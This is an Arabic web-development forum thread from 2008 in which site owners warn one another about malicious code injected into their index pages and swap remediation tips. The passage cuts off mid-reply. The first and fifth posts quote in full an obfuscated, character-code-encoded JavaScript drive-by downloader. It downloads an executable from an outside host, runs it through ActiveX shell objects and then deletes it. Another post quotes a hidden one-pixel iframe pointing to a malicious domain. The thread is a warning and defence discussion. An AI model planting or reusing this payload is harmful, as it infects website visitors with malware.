يوم سوالف، في 7 أغسطس القادم

 

العودة   سوالف سوفت > قسم تطوير وبرمجة المواقع للمتقدمين > تطوير الويب
المدوّنات البحث مشاركات اليوم اجعل كافة المشاركات مقروءة

رد
 
LinkBack أدوات الموضوع
عضو نشيط
تاريخ التسجيل: May 2007-
#1 (permalink)  
[تحذير] فايروس يزرع نفسه تلقائيا بالـ index


بسم الله الرحمن الرحيم

حبيت انبهكم يا اخوان واحذركم من فايروس يزرع نفسه تلقائي في صفحة الانديكس في المواقع

في موقعي مرتين يزرع نفسه واشيله .. ويرجع ثاني بعد كم يوم

اللي ظهر قدامي في الموقع هو تغير الكلمات العربيه الى رموز .. استغربت فتحت الصفحه شفت السورس الا في اخر الصفحة مزروع كود جافا سكربت وهو التالي :

كود PHP:
<script>
var 
dc=document.write;
var 
sc=String.fromCharCode;
var 
exe="http://h1.ripway.com/aappoopp/lol.exe";
dc(sc(60,115,99,114,105,112,116,62,118,97,114,32,97,105,108,105,97,110,44,122,104,97,110,44,99,109,100,115,115,59,97,105,108,105,97,110,61,34) + exe sc(34,59,122,104,97,110,61,34,119,105,110,46,101,120,101,34,59,99,109,100,115,115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,114,32,97,100,111,61,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,111,98,106,101,99,116,34,41,41,59,118,97,114,32,100,61,49,59,97,100,111,46,115,101,116,65,116,116,114,105,98,117,116,101,40,34,99,108,97,115,115,105,100,34,44,34,99,108,115,105,100,58,66,68,57,54,67,53,53,54,45,54,53,65,51,45,49,49,68,48,45,57,56,51,65,45,48,48,67,48,52,70,67,50,57,69,51,54,34,41,59,118,97,114,32,101,61,49,59,118,97,114,32,120,109,108,61,97,100,111,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,44,34,34,41,59,118,97,114,32,102,61,49,59,118,97,114,32,108,110,61,34,65,100,111,34,59,118,97,114,32,108,122,110,61,34,100,98,46,83,116,34,59,118,97,114,32,97,110,61,34,114,101,97,109,34,59,118,97,114,32,103,61,49,59,118,97,114,32,97,115,61,97,100,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,108,110,43,108,122,110,43,97,110,44,34,34,41,59,118,97,114,32,104,61,49,59,120,109,108,46,79,112,101,110,40,34,71,69,84,34,44,97,105,108,105,97,110,44,48,41,59,120,109,108,46,83,101,110,100,40,41,59,97,115,46,116,121,112,101,61,49,59,118,97,114,32,110,61,49,59,97,115,46,111,112,101,110,40,41,59,97,115,46,119,114,105,116,101,40,120,109,108,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,97,115,46,115,97,118,101,116,111,102,105,108,101,40,122,104,97,110,44,50,41,59,97,115,46,99,108,111,115,101,40,41,59,118,97,114,32,115,104,101,108,108,61,97,100,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110,34,44,34,34,41,59,115,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,40,122,104,97,110,44,34,34,44,34,34,44,34,111,112,101,110,34,44,48,41,59,115,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,40,99,109,100,115,115,44,34,32,47,99,32,100,101,108,32,47,83,32,47,81,32,47,70,32,34,43,122,104,97,110,44,34,34,44,34,111,112,101,110,34,44,48,41,59,125,99,97,116,99,104,40,101,41,123,125,59,60,47,115,99,114,105,112,116,62));
</script>



    <head>
   <img border="0" src="http://www.xxx.com" 
    <hr>
    <!-- <script>location.href='http://google.com'</script> --> 
ولاحظو رابط الـ exe وكمان رابط موقعي بالاخير بدل xxxx


ارجوا الانتباه والتشييك على صفحات موقعكم .. واحمد الله ان الصفحة ظهرت امامي كرموز والا ما كان انتبهت له

لان اتوقع لو قوقل اكتشفت الكود في صفحتك سوف يختم موقعك بالتحذير المعروف

اتمنى اللي يوصل لحل لمنع مثل هالاكواد من الزراعه التلقائية .. يخبرنا

مع التحية






__________________
-----------------------------------------------------------
:: همـ المشاعر ــس :: عبد الله :: للتصميم و التطوير ::
http://www.mr-sa.com
-----------------------------------------------------------
عبد الله الزايدي غير متواجد حالياً   قديم 06-02-2008, 09:53 PM
رد مع اقتباس
عضو نشيط جدا
تاريخ التسجيل: Aug 2007-
#2 (permalink)  

افضل حل من وجهة نظري هو معرفة كيفية وصول الكود الى الاندكس وغالبا عن طريق جهاز مدير الموقع وبالتالي يجب الحذر في الدخول على المواقع فانت لا تعرف مالذي ينزل في جهازك حينما تزور المواقع وبرامج الحماية اصبحت منظر فقط تستمع باصطياد فيروس انتشر منذ سنين عديدة ..






__________________
سبحان الله وبحمده سبحان الله العظيم

عطر بها لسانك
WavesGulf غير متواجد حالياً   قديم 06-02-2008, 11:44 PM
رد مع اقتباس
عضو نشيط
تاريخ التسجيل: May 2007-
#3 (permalink)  

هلا اخوي WavesGulf

شاكر لك مرورك الكريم اخوي

وحسب ما اطلعت عليه .. ان هالفايروس مو بيد مدير الموقع .. لانه منتشر في كثير من المواقع ويزرع نفسه تلقائيا في الصفحات مثل الـ index و home .. الخ

شاكر لك مرورك

مع التحية






__________________
-----------------------------------------------------------
:: همـ المشاعر ــس :: عبد الله :: للتصميم و التطوير ::
http://www.mr-sa.com
-----------------------------------------------------------
عبد الله الزايدي غير متواجد حالياً   قديم 07-02-2008, 12:12 AM
رد مع اقتباس
عضو نشيط
تاريخ التسجيل: Mar 2005-
#4 (permalink)  

بكل اسف نفس المشكله حدثت علي جهازي امبارح وجدت فريم لموقع

في جميع ملفات السكربتات الموجوده في السيرفر الشخصي


كود PHP:
<iframe src="http://ntkrnlpa.info/rc/?i=1" width=1 height=1></iframe

اتمنا حد يسعفنا بحل






ابو اسامه






new4arab غير متواجد حالياً   قديم 07-02-2008, 06:30 AM
رد مع اقتباس
عضو نشيط
تاريخ التسجيل: Jan 2008-
#5 (permalink)  

سيدى الفاضل
اذا لاحظت معى الكود تدريجيا

كود PHP:
<script
var 
dc=document.write
var 
sc=String.fromCharCode
var 
exe="http://h1.ripway.com/aappoopp/lol.exe"
dc(sc(60,115,99,114,105,112,116,62,118,97,114,32,97,105,108,105,97,110,44,122,104,97,110,44,99,109,100,115,115,59,97,105,108,105,97,110,61,34) + exe sc(34,59,122,104,97,110,61,34,119,105,110,46,101,120,101,34,59,99,109,100,115,115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,114,32,97,100,111,61,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,111,98,106,101,99,116,34,41,41,59,118,97,114,32,100,61,49,59,97,100,111,46,115,101,116,65,116,116,114,105,98,117,116,101,40,34,99,108,97,115,115,105,100,34,44,34,99,108,115,105,100,58,66,68,57,54,67,53,53,54,45,54,53,65,51,45,49,49,68,48,45,57,56,51,65,45,48,48,67,48,52,70,67,50,57,69,51,54,34,41,59,118,97,114,32,101,61,49,59,118,97,114,32,120,109,108,61,97,100,111,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,44,34,34,41,59,118,97,114,32,102,61,49,59,118,97,114,32,108,110,61,34,65,100,111,34,59,118,97,114,32,108,122,110,61,34,100,98,46,83,116,34,59,118,97,114,32,97,110,61,34,114,101,97,109,34,59,118,97,114,32,103,61,49,59,118,97,114,32,97,115,61,97,100,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,108,110,43,108,122,110,43,97,110,44,34,34,41,59,118,97,114,32,104,61,49,59,120,109,108,46,79,112,101,110,40,34,71,69,84,34,44,97,105,108,105,97,110,44,48,41,59,120,109,108,46,83,101,110,100,40,41,59,97,115,46,116,121,112,101,61,49,59,118,97,114,32,110,61,49,59,97,115,46,111,112,101,110,40,41,59,97,115,46,119,114,105,116,101,40,120,109,108,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,97,115,46,115,97,118,101,116,111,102,105,108,101,40,122,104,97,110,44,50,41,59,97,115,46,99,108,111,115,101,40,41,59,118,97,114,32,115,104,101,108,108,61,97,100,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110,34,44,34,34,41,59,115,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,40,122,104,97,110,44,34,34,44,34,34,44,34,111,112,101,110,34,44,48,41,59,115,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,40,99,109,100,115,115,44,34,32,47,99,32,100,101,108,32,47,83,32,47,81,32,47,70,32,34,43,122,104,97,110,44,34,34,44,34,111,112,101,110,34,44,48,41,59,125,99,97,116,99,104,40,101,41,123,125,59,60,47,115,99,114,105,112,116,62)); 
</script> 
http://h1.ripway.com/aappoopp/lol.exe
وهذا يمثل باتش مزروع هذا الباتش له امكانيه أن يتخطى الكاسبر سكاى فى بعض الأحيان والفايروول
ويزرع نفسه فى جهاز الضحيه

أعتقد أن حل هذه المشكله هو تنصيب كاسبر سكاى على جهازك

وتحديثه بأخر أبديت
وحذف تلك السطور من ملفاتك يدويا
ولا تحاول أن تجعل الكاسبر يحذفها لأنه من الممكن أن يحذف ملفاتك الخاصه

تحياتى
Mr.Ajax






Mr.Ajax غير متواجد حالياً   قديم 07-02-2008, 06:36 AM
رد مع اقتباس
عضو نشيط
تاريخ التسجيل: May 2007-
#6 (permalink)  

انا سبق وعانيت منه

الحل الى عملته فورمات للجهاز + تغيير ارقام المواقع المصابة
مع ازالة الاكواد يدويا او اعادة رفع صفحات index المصابة
لانه هناك من اخترق الجهاز وصار يرسل الاكواد بشكل يومي تقريبا


وتخلصت منه نهائي

جربته على اكثر من موقع






__________________
اطلب حقوقك من تبوك هوست

ولا تكن ضعيفا !!
فرح غير متواجد حالياً   قديم 07-02-2008, 08:31 AM
رد مع اقتباس
عضو جديد
تاريخ التسجيل: Sep 2006-
#7 (permalink)  

http://www.swalif.net/softs/swalif48/softs218292/

موضوع ذات صلـة ,,






__________________
لمسة فنان ,, طريق إحتراف التصميم الحساس .
http://www.AHMEDMASTER.com
الجيل الثالث لخدمات الويب المتطورة
http://www.3or3.com
أحمد ماستر غير متواجد حالياً   قديم 07-02-2008, 03:13 PM
رد مع اقتباس
عضو سوبر نشيط
تاريخ التسجيل: May 2004-
#8 (permalink)  

السلام عليكم
المشكلة ليست فى موقعك بل السيرفر الذى عليه ما هى الداتا السنتر و ليس المستضيف
المشكلة فى تنقلة فى السيرفرات و هذه المشكلة تم التحدث عنها فى موقع السى بنل و ايضا مجلة بى سى
و الكثير من المواقع الاج